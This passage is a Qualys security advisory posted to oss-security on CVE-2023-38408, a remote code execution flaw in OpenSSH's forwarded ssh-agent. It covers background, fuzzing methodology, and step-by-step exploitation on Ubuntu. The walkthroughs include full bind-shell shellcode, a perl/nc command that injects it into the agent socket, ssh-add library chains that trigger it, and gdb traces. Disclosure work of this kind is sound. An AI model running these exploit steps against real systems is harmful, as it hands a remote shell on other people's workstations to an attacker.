Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Message-ID: <20230719163318.GA9123@localhost.localdomain>
Date: Wed, 19 Jul 2023 16:33:30 +0000
From: Qualys Security Advisory <qsa@...lys.com>
To: "oss-security@...ts.openwall.com" <oss-security@...ts.openwall.com>
Subject: CVE-2023-38408: Remote Code Execution in OpenSSH's forwarded
 ssh-agent


Qualys Security Advisory

CVE-2023-38408: Remote Code Execution in OpenSSH's forwarded ssh-agent


========================================================================
Contents
========================================================================

Summary
Background
Experiments
Results
Discussion
Acknowledgments
Timeline


========================================================================
Summary
========================================================================

    "ssh-agent is a program to hold private keys used for public key
    authentication. Through use of environment variables the agent can
    be located and automatically used for authentication when logging in
    to other machines using ssh(1). ... Connections to ssh-agent may be
    forwarded from further remote hosts using the -A option to ssh(1)
    (but see the caveats documented therein), avoiding the need for
    authentication data to be stored on other machines."
    (https://man.openbsd.org/ssh-agent.1)

    "Agent forwarding should be enabled with caution. Users with the
    ability to bypass file permissions on the remote host ... can access
    the local agent through the forwarded connection. ... A safer
    alternative may be to use a jump host (see -J)."
    (https://man.openbsd.org/ssh.1)

Despite this warning, ssh-agent forwarding is still widely used today.
Typically, a system administrator (Alice) runs ssh-agent on her local
workstation, connects to a remote server with ssh, and enables ssh-agent
forwarding with the -A or ForwardAgent option, thus making her ssh-agent
(which is running on her local workstation) reachable from the remote
server.

While browsing through ssh-agent's source code, we noticed that a remote
attacker, who has access to the remote server where Alice's ssh-agent is
forwarded to, can load (dlopen()) and immediately unload (dlclose()) any
shared library in /usr/lib* on Alice's workstation (via her forwarded
ssh-agent, if it is compiled with ENABLE_PKCS11, which is the default).

(Note to the curious readers: for security reasons, and as explained in
the "Background" section below, ssh-agent does not actually load such a
shared library in its own address space (where private keys are stored),
but in a separate, dedicated process, ssh-pkcs11-helper.)

Although this seems safe at first (because every shared library in
/usr/lib* comes from an official distribution package, and no operation
besides dlopen() and dlclose() is generally performed by ssh-agent on a
shared library), many shared libraries have unfortunate side effects
when dlopen()ed and dlclose()d, and are therefore unsafe to be loaded
and unloaded in a security-sensitive program such as ssh-agent. For
example, many shared libraries have constructor and destructor functions
that are automatically executed by dlopen() and dlclose(), respectively.

Surprisingly, by chaining four common side effects of shared libraries
from official distribution packages, we were able to transform this very
limited primitive (the dlopen() and dlclose() of shared libraries from
/usr/lib*) into a reliable, one-shot remote code execution in ssh-agent
(despite ASLR, PIE, and NX). Our best proofs of concept so far exploit
default installations of Ubuntu Desktop plus three extra packages from
Ubuntu's "universe" repository. We believe that even better results can
be achieved (i.e., some operating systems might be exploitable in their
default installation):

- we only investigated Ubuntu Desktop 22.04 and 21.10, we have not
  looked into any other versions, distributions, or operating systems;

- the "fuzzer" that we wrote to test our ideas is rudimentary and slow,
  and we ran it intermittently on a single laptop, so we have not tried
  all the combinations of shared libraries and side effects;

- we initially had only one attack vector in mind (i.e., one specific
  combination of side effects from shared libraries), but we discovered
  six more while analyzing the results of our fuzzer, and we are
  convinced that more attack vectors exist.

In this advisory, we present our research, experiments, reproducible
results, and further ideas to exploit this "dlopen() then dlclose()"
primitive. We will also publish the source code of our crude fuzzer at
https://www.qualys.com/research/security-advisories/ (warning: this code
might hurt the eyes of experienced fuzzing practitioners, but it gave us
quick answers to our many questions; it is provided "as is", in the hope
that it will be useful).


========================================================================
Background
========================================================================

The ability to load and unload shared libraries in ssh-agent was
developed in 2010 to support the addition and deletion of PKCS#11 keys:
ssh-agent forks and executes a long-running ssh-pkcs11-helper process
that dlopen()s PKCS#11 providers (shared libraries), and immediately
dlclose()s them if the symbol C_GetFunctionList cannot be found (i.e.,
if such a shared library is not actually a PKCS#11 provider, which is
the case for the vast majority of the shared libraries in /usr/lib*).

Note: ssh-agent also supports the addition of FIDO keys, by loading a
FIDO authenticator (a shared library) in a short-lived ssh-sk-helper
process; however, unlike ssh-pkcs11-helper, ssh-sk-helper is stateless
(it terminates shortly after loading a single shared library) and can
therefore not be abused by an attacker to chain the side effects of
several shared libraries.

Originally, the path of a shared library to be loaded in
ssh-pkcs11-helper was not filtered at all by ssh-agent, but in 2016 an
allow-list was added ("/usr/lib*/*,/usr/local/lib*/*" by default) in
response to CVE-2016-10009, which was published by Jann Horn (at
https://bugs.chromium.org/p/project-zero/issues/detail?id=1009):

- if an attacker had access to the server where Alice's ssh-agent is
  forwarded to, and had an unprivileged access to Alice's workstation,
  then this attacker could store a malicious shared library in /tmp on
  Alice's workstation and execute it with Alice's privileges (via her
  forwarded ssh-agent) -- a mild form of Local Privilege Escalation;

- if the attacker had only access to the server where Alice's ssh-agent
  is forwarded to, but could somehow store a malicious shared library
  somewhere on Alice's workstation (without access to her workstation),
  then this attacker could remotely execute this shared library (via
  Alice's forwarded ssh-agent) -- a mild form of Remote Code Execution.

Our first reaction was of course to try to bypass ssh-agent's /usr/lib*
allow-list:

- by finding a logic bug in the filter function, match_pattern_list()
  (but we failed);

- by making a path-traversal attack, for example /usr/lib/../../tmp (but
  we failed, because ssh-agent first calls realpath() to canonicalize
  the path of a shared library, and then calls the filter function);

- by finding a locally or remotely writable file or directory in
  /usr/lib* (but we failed).

Our only option, then, is to abuse side effects of the existing shared
libraries in /usr/lib*; in particular, their constructor and destructor
functions, which are automatically executed by dlopen() and dlclose().
Eventually, we realized that this is essentially a remote version of
CVE-2010-3856, which was published in 2010 by Tavis Ormandy (at
https://seclists.org/fulldisclosure/2010/Oct/344):

- an unprivileged local attacker could dlopen() any shared library from
  /lib and /usr/lib (via the LD_AUDIT environment variable), even when
  executing a SUID-root program;

- the constructor functions of various common shared libraries created
  files and directories whose location depended on the attacker's
  environment variables and whose creation mode depended on the
  attacker's umask;

- the local attacker could therefore create world-writable files and
  directories anywhere in the filesystem, and obtain full root
  privileges (via crond, for example).

Although the ability to load and unload shared libraries from /usr/lib*
in ssh-agent bears a striking resemblance to CVE-2010-3856, we are in a
much weaker position here, because we are trying to exploit ssh-agent
remotely, so we do not control its environment variables nor its umask
(and we do not even talk directly to ssh-pkcs11-helper, which actually
dlopen()s and dlclose()s the shared libraries: we talk to ssh-agent,
which canonicalizes and filters our requests before passing them on to
ssh-pkcs11-helper).

In fact, we do not control anything except the order in which we load
(and immediately unload) shared libraries from /usr/lib* in ssh-agent.
At that point, we almost abandoned our research, because we could not
possibly imagine how to transform this extremely limited primitive into
a one-shot remote code execution. Nevertheless, we felt curious and
decided to syscall-trace (strace) a dlopen() and dlclose() of every
shared library in the default installation of Ubuntu Desktop. We
instantly observed four surprising behaviors:

------------------------------------------------------------------------

1/ Some shared libraries require an executable stack, either explicitly
because of an RWE (readable, writable, executable) GNU_STACK ELF header,
or implicitly because of a missing GNU_STACK ELF header (in which case
the loader defaults to an executable stack): when such an "execstack"
library is dlopen()ed, the loader makes the main stack and all thread
stacks executable, and they remain executable even after dlclose().

For example, /usr/lib/systemd/boot/efi/linuxx64.elf.stub in the default
installation of Ubuntu Desktop 22.04.

------------------------------------------------------------------------

2/ Many shared libraries are marked as "nodelete" by the loader, either
explicitly because of a NODELETE ELF flag, or implicitly because they
are in the dependency list of a NODELETE library: the loader will never
unload (munmap()) such libraries, even after they are dlclose()d.

For example, /usr/lib/x86_64-linux-gnu/librt.so.1 in the default
installation of Ubuntu Desktop 22.04 and 21.10.

------------------------------------------------------------------------

3/ Some shared libraries register a signal handler for SIGSEGV when they
are dlopen()ed, but they do not deregister this signal handler when they
are dlclose()d (i.e., this signal handler is still registered when its
code is munmap()ed).

For example, /usr/lib/x86_64-linux-gnu/libSegFault.so in the default
installation of Ubuntu Desktop 21.10.

------------------------------------------------------------------------

4/ Some shared libraries crash with a SIGSEGV as soon as they are
dlopen()ed (usually because of a NULL-pointer dereference), because they
are supposed to be loaded in a specific context, not in a random program
such as ssh-agent.

For example, most of the /usr/lib/x86_64-linux-gnu/xtables/lib*.so in
the default installation of Ubuntu Desktop 22.04 and 21.10.

------------------------------------------------------------------------

And so an exciting idea to remotely exploit ssh-agent came into our
mind:

a/ make ssh-agent's stack executable (more precisely,
ssh-pkcs11-helper's stack) by dlopen()ing one of the "execstack"
libraries ("surprising behavior 1/"), and somehow store a 1990-style
shellcode somewhere in this executable stack;

b/ register a signal handler for SIGSEGV and immediately munmap() its
code, by dlopen()ing and dlclose()ing one of the shared libraries from
"surprising behavior 3/" (consequently, a dangling pointer to this
unmapped signal handler is retained in the kernel);

c/ replace the unmapped signal handler's code with another piece of code
from another shared library, by dlopen()ing (mmap()ing) one of the
"nodelete" libraries ("surprising behavior 2/");

d/ raise a SIGSEGV by dlopen()ing one of the shared libraries from
"surprising behavior 4/", so that the unmapped signal handler is called
by the kernel, but the replacement code from the "nodelete" library is
executed instead (a use-after-free of sorts);

e/ hope that this replacement code (which is mapped where the signal
handler was mapped) is a useful gadget that somehow jumps into the
executable stack, exactly where our shellcode is stored.


========================================================================
Experiments
========================================================================

But "hope is not a strategy", so we decided to implement the following
6-step plan to test our remote-exploitation idea in ssh-agent:

------------------------------------------------------------------------

Step 1 - We install a default Ubuntu Desktop, download all official
packages from Ubuntu's "main" and "universe" repositories, and extract
all /usr/lib* files from these packages. These files occupy ~200GB of
disk space and include ~60,000 shared libraries.

Note: after the default installation of Ubuntu Desktop, but before the
extraction of all /usr/lib* files, we "chattr +i /etc/ld.so.cache" to
make sure that this file does not grow unrealistically (from kilobytes
to megabytes); indeed, it is mmap()ed by the loader every time dlopen()
is called, and a large file might therefore destroy the mmap layout and
prevent our fuzzer's results from being reproducible in the real world.

------------------------------------------------------------------------

Step 2 - For each shared library in /usr/lib*, we fork and execute
ssh-pkcs11-helper, strace it, and request it to dlopen() (and hence
immediately dlclose()) this shared library; if we spot anything unusual
in the strace logs (a raised signal, a clone() call, etc) or outstanding
differences in /proc/pid/maps or /proc/pid/status between before and
after dlopen() and dlclose(), then we mark this shared library as
interesting.

------------------------------------------------------------------------

Step 3 - We analyze the results of Step 2. For example, on Ubuntu
Desktop 22.04:

- 58 shared libraries make the stack executable when dlopen()ed (and the
  stack remains executable even after dlclose());

- 16577 shared libraries permanently alter the mmap layout when
  dlopen()ed (either because they are "nodelete" libraries, or because
  they allocate a thread stack or otherwise leak mmap()ed memory);

- 9 shared libraries register a SIGSEGV handler when dlopen()ed (but do
  not deregister it when dlclose()d), and 238 shared libraries raise a
  SIGSEGV when dlopen()ed;

- 2 shared libraries register a SIGABRT handler when dlopen()ed, and 44
  shared libraries raise a SIGABRT when dlopen()ed.

On Ubuntu Desktop 21.10:

- 30 shared libraries make the stack executable;

- 16172 shared libraries permanently alter the mmap layout;

- 9 shared libraries register a SIGSEGV handler, and 147 shared
  libraries raise a SIGSEGV;

- 2 shared libraries register a SIGABRT handler, and 38 shared libraries
  raise a SIGABRT;

- 1 shared library registers a SIGBUS handler, and 11 shared libraries
  raise a SIGBUS;

- 1 shared library registers a SIGCHLD handler, and 61 shared libraries
  raise a SIGCHLD;

- 1 shared library registers a SIGILL handler, and 1 shared library
  raises a SIGILL.

------------------------------------------------------------------------

Step 4 - We implement a rudimentary fuzzing strategy, by forking and
executing ssh-pkcs11-helper in a loop, and by loading (and unloading)
random combinations of the interesting shared libraries from Step 3:

a/ we randomly load zero or more shared libraries that permanently alter
the mmap layout, in the hope of creating holes in the mmap layout, thus
potentially shifting the replacement code (which will later replace the
signal handler's code) with page precision;

b/ we randomly load one shared library that registers a signal handler
but does not deregister it when dlclose()d (i.e., when munmap()ed);

c/ we randomly load zero or more shared libraries that alter the mmap
layout (again), thus replacing the unmapped signal handler's code with
another piece of code (a hopefully useful gadget) from another shared
library (a "nodelete" library);

d/ we randomly load one shared library that raises the signal that is
caught by the unmapped signal handler: the replacement code (gadget) is
executed instead, and if it jumps into the stack (a SEGV_ACCERR with a
RIP register that points to the stack, because we did not make the stack
executable in this Step 4), then we mark this particular combination of
shared libraries as interesting.

Surprise: we actually get numerous jumps to the stack in this Step 4,
usually because the signal handler's code is replaced by a "jmp REG",
"call REG", or "pop; pop; ret" gadget, and the "REG" or popped RIP
register happens to point to the stack at the time of the jump.

------------------------------------------------------------------------

Step 5 - We implement this extra step to test whether the interesting
combinations of shared libraries from Step 4 actually jump into our
shellcode in the stack, or into uncontrolled data in the stack:

a/ we make the stack executable, by randomly loading one of the
"execstack" libraries from Step 3;

b/ we store ~10KB of 0xcc bytes in the stack buffer "buf" of
ssh-pkcs11-helper's main() function: 10KB is the maximum message length
that we can send to ssh-pkcs11-helper (via ssh-agent), and on amd64 0xcc
is the "int3" instruction that generates a SIGTRAP when executed;

c/ we randomly replay one of the interesting combinations of shared
libraries from Step 4: if a SIGTRAP is generated while the RIP register
points to the stack, then there is a fair chance that ssh-pkcs11-helper
jumped into our shellcode (our 0xcc bytes) in the executable stack.

Surprise: we actually get many SIGTRAPs in the stack during this Step 5,
but to our great dismay, most of these SIGTRAPs are generated because
ssh-pkcs11-helper jumps into the stack, in the middle of a pointer that
is stored on the stack and that happens to contain a 0xcc byte because
of ASLR (i.e., not because ssh-pkcs11-helper jumps into our own 0xcc
bytes in the stack).

------------------------------------------------------------------------

Step 6 - We implement this extra step to eliminate the false positives
produced by Step 5:

a/ we repeatedly replay (N times) each combination of shared libraries
that generates a SIGTRAP in the stack: if N SIGTRAPs are generated out
of N replays, then there is an excellent chance that ssh-pkcs11-helper
does indeed jump into our shellcode (our 0xcc bytes) in the stack (and
not into random bytes that happen to be 0xcc because of ASLR);

b/ if this is confirmed by a manual check (with gdb for example), then
we achieved a reliable, one-shot remote code execution in ssh-agent,
despite the very limited primitive, and despite ASLR, PIE, and NX.


========================================================================
Results
========================================================================

In this section, we present the results of our experiments:

- Signal handler use-after-free (Ubuntu Desktop 22.04)
- Signal handler use-after-free (Ubuntu Desktop 21.10)
- Callback function use-after-free
- Return from syscall use-after-free
- Sigaltstack use-after-free
- Sigreturn to arbitrary instruction pointer
- _Unwind_Context type-confusion
- RCE in library constructor


========================================================================
Signal handler use-after-free (Ubuntu Desktop 22.04)
========================================================================

This was our original idea for remotely attacking ssh-agent, as
discussed at the end of the "Background" section and as implemented in
the "Experiments" section. In this subsection, we present one of the
various combinations of shared libraries that result in a reliable,
one-shot remote code execution in ssh-agent on Ubuntu Desktop 22.04.

------------------------------------------------------------------------

1a/ On our local workstation, we install a default Ubuntu Desktop 22.04
(https://old-releases.ubuntu.com/releases/22.04/ubuntu-22.04-desktop-amd64.iso),
without connecting this workstation to the Internet.

------------------------------------------------------------------------

1b/ After the installation is complete, we modify /etc/apt/sources.list
to prevent any package from being upgraded to a version that is not the
one that we used in our experiments:

workstation# cp -i /etc/apt/sources.list /etc/apt/sources.list.backup
workstation# grep ' jammy ' /etc/apt/sources.list.backup > /etc/apt/sources.list

------------------------------------------------------------------------

1c/ We connect our workstation to the Internet, and install the three
packages (from Ubuntu's official "universe" repository) that contain the
three shared libraries used in this particular attack against ssh-agent:

workstation# apt-get update
workstation# apt-get upgrade
workstation# apt-get --no-install-recommends install eclipse-titan
workstation# apt-get --no-install-recommends install libkf5sonnetui5
workstation# apt-get --no-install-recommends install libns3-3v5

------------------------------------------------------------------------

2/ As Alice, we run ssh-agent on our local workstation, connect to a
remote server with ssh, and enable ssh-agent forwarding with -A:

workstation$ id
uid=1000(alice) gid=1000(alice) groups=1000(alice),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare)

workstation$ eval `ssh-agent -s`
Agent pid 1105

workstation$ echo /tmp/ssh-*/agent.*
/tmp/ssh-XXXXXXmgHTo9/agent.1104

workstation$ ssh -A server

server$ id
uid=1001(alice) gid=1001(alice) groups=1001(alice)

server$ echo /tmp/ssh-*/agent.*
/tmp/ssh-N5EjHljGRh/agent.1299

------------------------------------------------------------------------

3/ Then, as a remote attacker who has access to this server:

------------------------------------------------------------------------

3a/ we remotely make ssh-agent's stack executable (more precisely,
ssh-pkcs11-helper's stack), via Alice's ssh-agent forwarding (indeed,
the ssh-agent itself is running on Alice's workstation, not on the
server):

server# echo /tmp/ssh-*/agent.*
/tmp/ssh-N5EjHljGRh/agent.1299

server# export SSH_AUTH_SOCK=/tmp/ssh-N5EjHljGRh/agent.1299

server# ssh-add -s /usr/lib/systemd/boot/efi/linuxx64.elf.stub
Enter passphrase for PKCS#11: whatever
Could not add card "/usr/lib/systemd/boot/efi/linuxx64.elf.stub": agent refused operation

------------------------------------------------------------------------

3b/ we remotely store a shellcode in the stack buffer "buf" of
ssh-pkcs11-helper's main() function:

server# SHELLCODE=$'\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'

server# (perl -e 'print "\0\0\x27\xbf\x14\0\0\0\x10/usr/lib/modules\0\0\x27\xa6" . "\x90" x 10000'; echo -n "$SHELLCODE") | nc -U "$SSH_AUTH_SOCK"
[Press Ctrl-C after a few seconds.]

- we do not use ssh-add here, because we want to send a ~10KB passphrase
  (our shellcode) to ssh-agent, but ssh-add limits the length of our
  passphrase to 1KB;

- "\x90" x 10000 is a ~10KB "NOP sled" (on amd64, 0x90 is the "nop"
  instruction);

- SHELLCODE is a "TCP bind shell" on port 31337 (from
  https://shell-storm.org/shellcode/files/shellcode-858.html);

- /usr/lib/modules is an existing directory whose path matches
  ssh-agent's /usr/lib* allow-list (indeed, we do not want to actually
  load a shared library here -- we just want to store our shellcode in
  the executable stack);

------------------------------------------------------------------------

3c/ we remotely register a SIGSEGV handler, and immediately munmap() its
code:

server# ssh-add -s /usr/lib/titan/libttcn3-rt2-dynamic.so
Enter passphrase for PKCS#11: whatever
Could not add card "/usr/lib/titan/libttcn3-rt2-dynamic.so": agent refused operation

------------------------------------------------------------------------

3d/ we remotely replace the unmapped SIGSEGV handler's code with another
piece of code (a useful gadget) from another shared library:

server# ssh-add -s /usr/lib/x86_64-linux-gnu/libKF5SonnetUi.so.5.92.0
Enter passphrase for PKCS#11: whatever
Could not add card "/usr/lib/x86_64-linux-gnu/libKF5SonnetUi.so.5.92.0": agent refused operation

------------------------------------------------------------------------

3e/ we remotely raise a SIGSEGV in ssh-pkcs11-helper:

server# ssh-add -s /usr/lib/x86_64-linux-gnu/libns3.35-wave.so.0.0.0
Enter passphrase for PKCS#11: whatever
[Press Ctrl-C after a few seconds.]

------------------------------------------------------------------------

3f/ the replacement code (gadget) is executed (instead of the unmapped
SIGSEGV handler's code) and jumps to the stack, into our shellcode,
which binds a shell on TCP port 31337 on Alice's workstation:

server# nc -v workstation 31337
Connection to workstation 31337 port [tcp/*] succeeded!

workstation$ id
uid=1000(alice) gid=1000(alice) groups=1000(alice),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare)

workstation$ ps axuf
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
...
alice       1105  0.0  0.1   7968  4192 ?        Ss   09:48   0:00 ssh-agent -s
alice       1249  0.0  0.0   2888   956 ?        S    10:03   0:00  \_ [sh]
alice       1268  0.0  0.0   7204  3092 ?        R    10:14   0:00      \_ ps axuf

------------------------------------------------------------------------

To get a clear view of the replacement code (the useful gadget) that is
executed instead of the unmapped SIGSEGV handler and that jumps into the
NOP sled of our shellcode (in the executable stack), we relaunch our
attack against ssh-agent and attach to ssh-pkcs11-helper with gdb:

workstation$ gdb /usr/lib/openssh/ssh-pkcs11-helper 1307
...
(gdb) continue
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x00007fb15c9b560e in std::_Rb_tree_decrement(std::_Rb_tree_node_base*) () from /lib/x86_64-linux-gnu/libstdc++.so.6

(gdb) stepi
0x00007fb15d0e1250 in ?? () from /lib/x86_64-linux-gnu/libQt5Widgets.so.5

(gdb) x/10i 0x00007fb15d0e1250
=> 0x7fb15d0e1250:      add    %rcx,%rdx
   0x7fb15d0e1253:      notrack jmp *%rdx
   ...

(gdb) stepi
0x00007fb15d0e1253 in ?? () from /lib/x86_64-linux-gnu/libQt5Widgets.so.5

(gdb) stepi
0x00007ffc2ec82691 in ?? ()

(gdb) x/10i 0x00007ffc2ec82691
=> 0x7ffc2ec82691:      nop
   0x7ffc2ec82692:      nop
   0x7ffc2ec82693:      nop
   0x7ffc2ec82694:      nop
   0x7ffc2ec82695:      nop
   0x7ffc2ec82696:      nop
   0x7ffc2ec82697:      nop
   0x7ffc2ec82698:      nop
   0x7ffc2ec82699:      nop
   0x7ffc2ec8269a:      nop

(gdb) !grep stack /proc/1307/maps
7ffc2ec66000-7ffc2ec87000 rwxp 00000000 00:00 0                          [stack]


========================================================================
Signal handler use-after-free (Ubuntu Desktop 21.10)
========================================================================

In this subsection, we present one of the various combinations of shared
libraries that result in a reliable, one-shot remote code execution in
ssh-agent on Ubuntu Desktop 21.10.

------------------------------------------------------------------------

1a/ On our local workstation, we install a default Ubuntu Desktop 21.10
(https://old-releases.ubuntu.com/releases/21.10/ubuntu-21.10-desktop-amd64.iso),
without connecting this workstation to the Internet.

------------------------------------------------------------------------

1b/ After the installation is complete, we modify /etc/apt/sources.list
to prevent any package from being upgraded to a version that is not the
one that we used in our experiments:

workstation# cp -i /etc/apt/sources.list /etc/apt/sources.list.backup
workstation# echo 'deb https://old-releases.ubuntu.com/ubuntu/ impish main restricted universe' > /etc/apt/sources.list

------------------------------------------------------------------------

1c/ We connect our workstation to the Internet, and install the three
packages (from Ubuntu's official "universe" repository) that contain the
three extra shared libraries used in this attack against ssh-agent:

workstation# apt-get update
workstation# apt-get upgrade
workstation# apt-get --no-install-recommends install syslinux-common
workstation# apt-get --no-install-recommends install libgnatcoll-postgres1
workstation# apt-get --no-install-recommends install libenca-dbg

------------------------------------------------------------------------

2/ As Alice, we run ssh-agent on our local workstation, connect to a
remote server with ssh, and enable ssh-agent forwarding with -A:

workstation$ id
uid=1000(alice) gid=1000(alice) groups=1000(alice),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),133(lxd),134(sambashare)

workstation$ eval `ssh-agent -s`
Agent pid 912

workstation$ echo /tmp/ssh-*/agent.*
/tmp/ssh-GnpGKph6xbe3/agent.911

workstation$ ssh -A server

server$ id
uid=1001(alice) gid=1001(alice) groups=1001(alice)

server$ echo /tmp/ssh-*/agent.*
/tmp/ssh-30N8pjTKWn/agent.996

------------------------------------------------------------------------

3/ Then, as a remote attacker who has access to this server:

------------------------------------------------------------------------

3a/ we remotely make ssh-agent's stack executable (more precisely,
ssh-pkcs11-helper's stack), via Alice's ssh-agent forwarding:

server# echo /tmp/ssh-*/agent.*
/tmp/ssh-30N8pjTKWn/agent.996

server# export SSH_AUTH_SOCK=/tmp/ssh-30N8pjTKWn/agent.996

server# ssh-add -s /usr/lib/syslinux/modules/efi64/gfxboot.c32
Enter passphrase for PKCS#11: whatever
Could not add card "/usr/lib/syslinux/modules/efi64/gfxboot.c32": agent refused operation

------------------------------------------------------------------------

3b/ we remotely store a shellcode in the stack of ssh-pkcs11-helper:

server# SHELLCODE=$'\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'

server# (perl -e 'print "\0\0\x27\xbf\x14\0\0\0\x10/usr/lib/modules\0\0\x27\xa6" . "\x90" x 10000'; echo -n "$SHELLCODE") | nc -U "$SSH_AUTH_SOCK"
[Press Ctrl-C after a few seconds.]

------------------------------------------------------------------------

3c/ we remotely alter the mmap layout of ssh-pkcs11-helper:

server# ssh-add -s /usr/lib/pulse-15.0+dfsg1/modules/module-remap-sink.so
Enter passphrase for PKCS#11: whatever
Could not add card "/usr/lib/pulse-15.0+dfsg1/modules/module-remap-sink.so": agent refused operation

------------------------------------------------------------------------

3d/ we remotely register a SIGBUS handler, and immediately munmap() its
code:

server# ssh-add -s /usr/lib/x86_64-linux-gnu/libgnatcoll_postgres.so.1
Enter passphrase for PKCS#11: whatever
Could not add card "/usr/lib/x86_64-linux-gnu/libgnatcoll_postgres.so.1": agent refused operation

------------------------------------------------------------------------

3e/ we remotely alter the mmap layout of ssh-pkcs11-helper (again), and
replace the unmapped SIGBUS handler's code with another piece of code (a
useful gadget) from another shared library:

server# ssh-add -s /usr/lib/pulse-15.0+dfsg1/modules/module-http-protocol-unix.so
server# ssh-add -s /usr/lib/x86_64-linux-gnu/sane/libsane-hp.so.1.0.32
server# ssh-add -s /usr/lib/libreoffice/program/libindex_data.so
server# ssh-add -s /usr/lib/x86_64-linux-gnu/gstreamer-1.0/libgstaudiorate.so
server# ssh-add -s /usr/lib/libreoffice/program/libscriptframe.so
server# ssh-add -s /usr/lib/x86_64-linux-gnu/libisccc-9.16.15-Ubuntu.so
server# ssh-add -s /usr/lib/x86_64-linux-gnu/libxkbregistry.so.0.0.0

------------------------------------------------------------------------

3f/ we remotely raise a SIGBUS in ssh-pkcs11-helper:

server# ssh-add -s /usr/lib/debug/.build-id/15/c0bee6bcb06fbf381d0e0e6c52f71e1d1bd694.debug
Enter passphrase for PKCS#11: whatever
[Press Ctrl-C after a few seconds.]

------------------------------------------------------------------------

3g/ the replacement code (gadget) is executed (instead of the unmapped
SIGBUS handler's code) and jumps to the stack, then into our shellcode,
which binds a shell on TCP port 31337 on Alice's workstation:

server# nc -v workstation 31337
Connection to workstation 31337 port [tcp/*] succeeded!

workstation$ id
uid=1000(alice) gid=1000(alice) groups=1000(alice),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),133(lxd),134(sambashare)

workstation$ ps axuf
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
...
alice        912  0.0  0.0   6060  2312 ?        Ss   17:18   0:00 ssh-agent -s
alice        928  0.0  0.0   2872   956 ?        S    17:25   0:00  \_ [sh]
alice        953  0.0  0.0   7060  3068 ?        R    17:40   0:00      \_ ps axuf

------------------------------------------------------------------------

To get a clear view of the replacement code (the useful gadget) that is
executed instead of the unmapped SIGBUS handler and that jumps into the
NOP sled of our shellcode (in the executable stack), we relaunch our
attack against ssh-agent and attach to ssh-pkcs11-helper with gdb:

workstation$ gdb /usr/lib/openssh/ssh-pkcs11-helper 1225
...
(gdb) continue
Continuing.

Program received signal SIGBUS, Bus error.
memset () at ../sysdeps/x86_64/multiarch/memset-vec-unaligned-erms.S:186

(gdb) stepi
0x00007f2ba9d7c350 in ?? () from /usr/lib/libreoffice/program/libuno_cppuhelpergcc3.so.3

(gdb) x/10i 0x00007f2ba9d7c350
=> 0x7f2ba9d7c350:      add    $0x28,%rsp
   0x7f2ba9d7c354:      mov    %r12,%rax
   0x7f2ba9d7c357:      pop    %rbx
   0x7f2ba9d7c358:      pop    %rbp
   0x7f2ba9d7c359:      pop    %r12
   0x7f2ba9d7c35b:      pop    %r13
   0x7f2ba9d7c35d:      pop    %r14
   0x7f2ba9d7c35f:      pop    %r15
   0x7f2ba9d7c361:      ret    
   ...

(gdb) stepi
...
0x00007f2ba9d7c361 in ?? () from /usr/lib/libreoffice/program/libuno_cppuhelpergcc3.so.3

(gdb) stepi
0x00007fff7aae5e90 in ?? ()

(gdb) x/10i 0x00007fff7aae5e90
=> 0x7fff7aae5e90:      add    %dl,(%rax)
   0x7fff7aae5e92:      and    %eax,(%rax)
   0x7fff7aae5e94:      add    %al,(%rax)
   0x7fff7aae5e96:      add    %al,(%rax)
   0x7fff7aae5e98:      add    %ah,(%rax)
   0x7fff7aae5e9a:      and    %eax,(%rax)
   0x7fff7aae5e9c:      add    %al,(%rax)
   0x7fff7aae5e9e:      add    %al,(%rax)
   0x7fff7aae5ea0:      call   0x7fff7aae7fbe
   ...

(gdb) stepi
...
0x00007fff7aae5ea0 in ?? ()

(gdb) stepi
0x00007fff7aae7fbe in ?? ()

(gdb) x/10i 0x00007fff7aae7fbe
=> 0x7fff7aae7fbe:      nop
   0x7fff7aae7fbf:      nop
   0x7fff7aae7fc0:      nop
   0x7fff7aae7fc1:      nop
   0x7fff7aae7fc2:      nop
   0x7fff7aae7fc3:      nop
   0x7fff7aae7fc4:      nop
   0x7fff7aae7fc5:      nop
